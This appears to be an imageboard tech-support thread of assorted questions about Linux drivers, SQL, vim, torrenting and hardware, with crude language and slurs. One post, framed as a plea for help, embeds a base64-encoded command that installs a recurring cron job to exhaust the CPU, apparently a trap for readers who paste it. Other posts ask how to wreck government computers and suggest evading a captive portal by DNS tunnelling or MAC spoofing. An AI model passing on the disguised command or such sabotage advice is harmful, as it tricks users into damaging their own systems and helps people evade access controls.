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I got one for ya:
So I feel for the loonix meme and still am and installed it on my wife's laptop (Lenovo g50) and, needless to say, Linux mint and a few drivers installed without a single problem
>Sup Forums, I wonder why
I only did it to test my ability to install even the easiest of configurations but now that I wanna install Linux on my laptop (Refurbished: MSI GE62 2QF w/ GTX970M) with Antergos:
> boot live
> use live installer
> reboot
> BLACK (SCREEN) FACE HERE MUTHFUCKA: INSTALL THOSE DAMN NVIDIA DRIVERS!!!!
>mmm ok, expected this to happen
> look online for about an hour trying to build a consensus of what to do from shit ppl said 2 years ago
>sudo lots of shit
> HA HA MUTHAFUCKA! BLACK (SCREEN) FACE FO-EVA!
>frustration.jpg
Fine, if arch shit won't work, I'll go with something about as leveled as Arch but more well versed, Debian 9.1 Stretch:
> install non-free iso
> boots to menu without black face
> sighofrelief.gif
> install screenfetch
> GPU: Intel IGC
> umm...okay?
> check PCI
> Intel IGC and NVIDIA
> wtf! did I get a chink knock off gpu, why the fuck won't it take?
> "how to install nvidia drivers: Debian edition"
> sudo more shit
> screenfetch
> GPU: n/a
> worry.png
> reboot
>..... HEY WHITE BOI! MISS ME! IT'S YA OL FREEEE-END: BLACK (SCREEN) FACE!
> anger.mp4

fuck it, I'm done. I want off this dedicated gpu meme hell ride. Unless Sup Forums can help (which I highly doubt anyone is here for more than just passing on the way to /d/, /hc/, Sup Forums, Sup Forums, Sup Forums, /y/, and /gif/) what can I get for a gay-ming laptop? Ask for specs or look online. I want some money back and to buy a x220 tablet and I'll just save up to build a desktop later.

I got a bunch of path to a few files stored in a DB. Problem is that they are named 1-file, 2-file, 3-file, [...], 10-file, 11-file... So when I want to select them with ORDER BY path ASC, they the 10ths comes right after 1, the 20ths, after 2, etc.
What would be an elegant way to fix that ?

installed i3 on arch, what floating file manager do you think I should get? something I can access for rapid changes. I can force it to be opened in floating mode via i3, I just need something that I can deeply customize

How big is the load F.lux puts on my IGPU when i game?

how can I disable the bell error sound on vim?

I installed something la core sincronization inprovement software for Intel CPU, but I have AMD CPU, now my PC doesn't work, please help this retard.

Bell error sound? It's probably your terminal emulator or something

Just use Ranger. It matches the rest of your setup thematically.

yeah I was looking at ranger but I'm looking for the classic file manager you can't find on tileable window managers. something with a leftbar and where you can interact with files with the cursor. it's against the tileable philosophy but this is going to be an emergency file manager I can use for rapid actions

I muted everything that's inside this wiki page wiki.archlinux.org/index.php/PC_speaker
this is a vim issue, maybe

Is this against the rules?

:help belloff

Update, I just used CHKDSK/F
Everything seems to be fine now.
My stupidity has been rectified.

how do you enable flash on linux/chromium? it's embedded but it does not work. I tried forcing it with always allow but nothing happens

watched a vid to sql read 3 books on its too
but no clue on how to see my tables in visual studio
i can create them, but that's it. how to access them to read/write data to the tables?
why is it so fucking invisible?
played with sql on php on hostgator, but seems hostgator/vs/azure don't like to play well together. i'm so confused.

I use Kik as a messaging app, but for some reason the size of the app has increased to about 1GB (wtf?) and it seems to be a battery hog. So i want to try out a different messaging app.
I heard Signal is very good and secure.
Is that true or is Signal just another meme app for hipsters like Telegram?

I'm stupid I don' t understand that guide

nvidia doesn't like freeware or GPU passthroughs. Should've gone AMD

when I open the file manager on arch/chromium the file manager is fullscreen and covers the whole screen floating outside. how can I make it smaller?

Closed source Nvidia is best option on linux. But AMD is the only one who tries to open source at all.

Is it possible to take the code from a copy of windows installed on my old computer and use it on a new one?

I haven't used windows for anything but gaymes in ages, and need to set up a windows partition on this new rig.

I installed W10 Education (inb4 "Windows sucks"). The Windows Store doesn't work properly (pic related). How do I solve this?

What's a decent affordable Android tablet?
It would be a dedicated for the Torque APP.
Pic would be it's location

Forgot pic

If most browsers dont allow embedded java applets, what are my options? I built a site with django to show off some simulation work, now I have no idea what to do since firefox and chrome dont support Java.

You could provide the applets in .jar form, so that people can download and run them.

Numbers in the mail address, yay or nay?

So no way of running in-browser? If not, .jar downloads it is, thanks.

Honest question, what's even in Windows store?

basically phone games and some apps like skype

I just use it for updating apps like calculator camera.
don't know anyone who uses it seriously

meant to say calculator and camera

Update some apps. But I mainly want to fix this simply because it bothers me.

What alternatives are there, if any, for embedded browser apps?

>running Arhc Linux
>installed flashplugin
>.swf files I have saved just show up as blank pages when opened in firefox
Any hints? I already tried the mime-type trick in askubuntu.com/questions/478169/why-cant-firefox-run-local-swf-files

People with 10 S

I got a Notice of Copyright Infringement from my ISP the other day after I torrented some vidya. It noted that the owner's content was transferred from my IP, will they fuck off if I've stopped seeding? Am I gonna go to jail

No, yes.

Stop torrenting for a while and stop seeding unless it's on a private tracker. Seeding will always, always get you in trouble.

Most countries it doesn't matter for shit. There's not a lot they can or will do. Depends a bit on the ISP tho. If you care, use a VPN or seedbox.

fug
yeah, I never seed, the download had finished and was only seeding only for a few minutes before I noticed it and I didn't remove it in time.
any VPNs you recommend?

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Hey I just setup antergos on a thinkpad. I have access to the AUR repos but I'm having issues installing firefox nightly. Any help with the command to install/ aur repo name

I'm surprised they got on your case like that then. Were you downloading a recently released, big name piece of media? Those can potentially get you in trouble.

if ISP = Comcast, beware!
since comcrap is now part of the oligopoly, any content that is theirs will be on the radar. (NBC, Universal, etc...)
they are a GREEDY lot and they just may seek and destroy once they have their shit together to do so.

what do you open a .swf file with?

A media player or browser

A web browser from the past?

sudo pacman -S pacaur
(installs pacaur, an easier way to install aur packages with a terminal command)

pacaur -S firefox-nightly
(installs nightly from the aur)

that's it

787 is best cockpit.

Flash Player. Or if you're stallman and don't want it to work properly, gnash.

I tried mpv, vlc, and firefox nightly and none of them worked
maybe the file is just broke
how do I use this "gnash"?

Flash player. I recommend getting the "portable" version AKA the flash player projector.

I am running a Macbook Air, and have had an aweful time with my network card, tried both Debian and Ubuntu (havnt tried fedora or suse....yet) It just decides to stop working after a dozen or so reboots, on both systems, so Ive made a couple threads on reddit, but no one seems to be able to help me, so Im going through a trial and error type thing, now Im on try a OS without systemD

put Devuan on a usb, but the usb just dosnt recognize at all on the macbook (usb is good typing this on the devuan usb on a different laptop)

supergrub2 sees it but gave me some message about using bios mode or something, so next I tried refind, refind sees it too, but it gave me a message about legacy mode and to update firmware so I reinstalled mac osx updated everything, then reinstalled refind, and tried the usb again, same message

is it even possible to boot distros like this on a uefi?

JavaScript, unfortunately. Maybe Unity. HTML 5 is basically replacing all of that stuff.

aur helpers are not in the main repos, he will need to get the package from the aur and manually compile it to get the pacuaur package, then he can pacaur -S firefox-nightly

Thank you. You wouldn't happen to know how to output audio over an hdmi connection? Antergos, Openbox, Pulse Audio, and Alsamixer is what im working with.

Read this

Ok thank you again. Also I was able to answer my question about the audio on my own.

I've got a really good monitor that's been in storage for a couple of years and it's got quite a few dead pixels now

a. Is this just bad luck or was it stored incorrectly?
b. Is it fucked?

CSR 8510 or BCM20702?
Bought a cheap dongle and shit was BT 2.0 (lags my dualshock 4).

ah my bad, forgot about that.
If you are running antergos you should have a preinstalled graphic package manager called "Add/Remove Software". You can use this to install pacaur from the AUR from a GUI so you dont have to build it manually, then you can use pacaur to install nightly.

What does it mean when people post about mpv talking about commands like "--geometry=..." or "--autohide=..." and so on? I don't understand how or where you enter these commands, I don't understand any of it, is there a terminal that I can open? What do

...

>try echo $PATH and then put the binary in that folder

I did and had
/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin:/opt/X11/bin
Which one is preferable (I think each thing separated by a colon is a new folder)?

Ta.

lol

/usr/local/bin

gnash worked, thank you. now I can watch my minus8 lewds

The Institution of "Higher" education that I go to requires me to download some program to use their internet (like to log in). When you connect the network, it redirects any non secure site to a page that tells you to enter your credentials to download some program.

Can I get around this shit using a VPN? I don't want to download their stupid program.

contact the administration and tell them that's retarded

So I was gonna buy a mechanical keyboard for the first time (mostly gaming) and I was thinking of going with the "Corsair K70" with brown switches.

But I heard a bunch of negative reviews of people saying their software is absolute ass, or even worse a quite high rate of people experiencing double input on one press.
Should I try some other keyboard? Anyone got Experience with Corsair? Back in the day I liked the Logitech stuff, was never into the razor things because they have an even cheaper feel than the logitech stuff (in my opinion)

Get a ducky

Get a cooler master

I just keep using the unregistered guest access network, but it keeps logging me out if I put my computer into sleep, and allegedly it doesn't let me connect to certain services. Also, it seems that the program isn't Linux compatible.

What's a good "professional" headset, the kind that an actual office secretary or phone support would use at work? I mean in terms of mic/voice quality. Doesn't have to be good for listening to music or gaming, strictly a voice calling thing.

Ideally one that works through USB and has it's own "sound card" built in so I don't have to worry about that, and under $100?

This is called a captive portal and they work off of storing state for your MAC adress. If it blocks all non-http trafic (which it redirects) then you can't use a VPN. Also some allow DNS requests to pass so you could try iodine.
You could try spoofing someone elses MAC address.

I bought these and realized I don't have the cables necessary to connect them to my DAC. The most commonly recommended way to do that is to go from the TRS to RCA, but a store near me sells XLR to RCA. Will that work the same?

Ask JBL support.
Seriously. You bought their product, support is faster and correct. Why would you even bother with Sup Forums?

Also, idk.

yo i got an arcade stick and the first few times I plugged it in it installed the driver every time but now when I plug it in it says it doesn't recognize it

ps3 hori soul calibur v

If I'm converting a .mkv video to audio what format should I use?

this are my temperatures on my tablet.

Why it shows battery 2 times and what exactly is "system" ? The CPU?

Does anyone know how to get XOWA to load installgentoo? Everytime I try to import it offline, XOWA doesn't see any of the .gz's

I've tried unpacking them before hand but to no avail.

XOWA works great for my other imported wikis (travel, versity, and simple), but I really want my own copy of installgentoo in case the site goes down again.

Easier than sending out an email and I've seen these commonly recommended here and it's basically just a cabling question. I don't know, why not?

How can I change these colors?
So far I can only change the highlight color and some options change according to it

Nay if you can avoid it. Looks trashy as shit.

If I had to choose between DumCumpster@yahoo and Georgy17@gmail, I know which one I would pick

so im on the dole and theyre making me go into the job place tomorrow to look for jobs on their PC. how do i fuck them up? they windows 10. as far as i know they got all the usual admin blocks n crap on there. just gonna try delete system32 and see wht happens (i dont use win10 usualy)

anyone got any advice on how to mess up government computers?

Honestly? Buy a cheap Chinese "gamer" headset. The mic quality is decent, the sound quality is pretty good, they're on sale all the time at Amazon, and they're pretty comfy. The only downside is that you look like an autistic 12 year old while you're wearing them.

If that doesn't bother you, then that's my recommendation.

No. Get a job, ya globber

im basically homeless and my job seeker lady is a cunt she refuses to listen and asks me why i dont have a fucking job where i dont have a place ot sleep regularly, shes a stupid fat cunt and chidless after 50 i know why shes fucking angry at a single whiet early 20 male

can somebody tell me what this says?
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Sorry, I don't speak boy scout.

Queer femanon here. Need some help.. During Javascript class, I went to the bathroom and forget to lock my Ubuntu laptop. When I got back, my laptop has been running really slow and crashes a lot. I checked my .bash_history file, and it seems like someone must've run an encoded command while I was away from my laptop. Here is the code:
$(echo KGNyb250YWIgLWwgOyBlY2hvICIqLzUgKiAqICogKiB3aGlsZSA6IGRvIHB5dGhvbiAtYyAncHJpbnQoMTAqKjEwKioxMDApJyA+L2Rldi9udWxsIDI+JjE7IGRvbmUiKSB8IGNyb250YWI= | base64 --decode)


I think it was the racist white asshole that was sitting next to me. Did he hack me?

I'm on OSX 10.12.6
I need to insert a line on ~/.bashrc
>Note: This command needs to run from every new terminal you start. If you wish to avoid running this manually, you can add it as a new line to the end of your ~/.bashrc file.

I don't have this film.
cd
ls -a

.
..
.CFUserTextEncoding
.DS_Store
.Trash
.bash_history
.bash_sessions
.cache
.config
.dvdcss
.gnubg
.ssh

What do I do? search engine says make my own, but if that is so I wouldn't know how to (especially without fearing that I'm fucking everything up)

touch ~/.bashrc

Thanks. I'll try iodine.

So I just installed Java to play a game.
Motherfucking installer deleted every loose file on my desktop, despite me not even installing it on the same drive. Any idea what happened, and if I could recover any of it?

Damn dude, where do you get all these animes flying airplanes

i can't fucking boot a usb on this shitty insydeh20 bios

there's no options to change to legacy, either. what the fuck do I do?

I have seen people doing this. How do I hide an application's toolbar (I am starting to think that "toolbar" only applies to the one on the top of the screen) on OSX 10?
Or at least what is the actual name of it? When I search for "hide toolbar" or "hide application toolbar" I get info on the other one, not the window's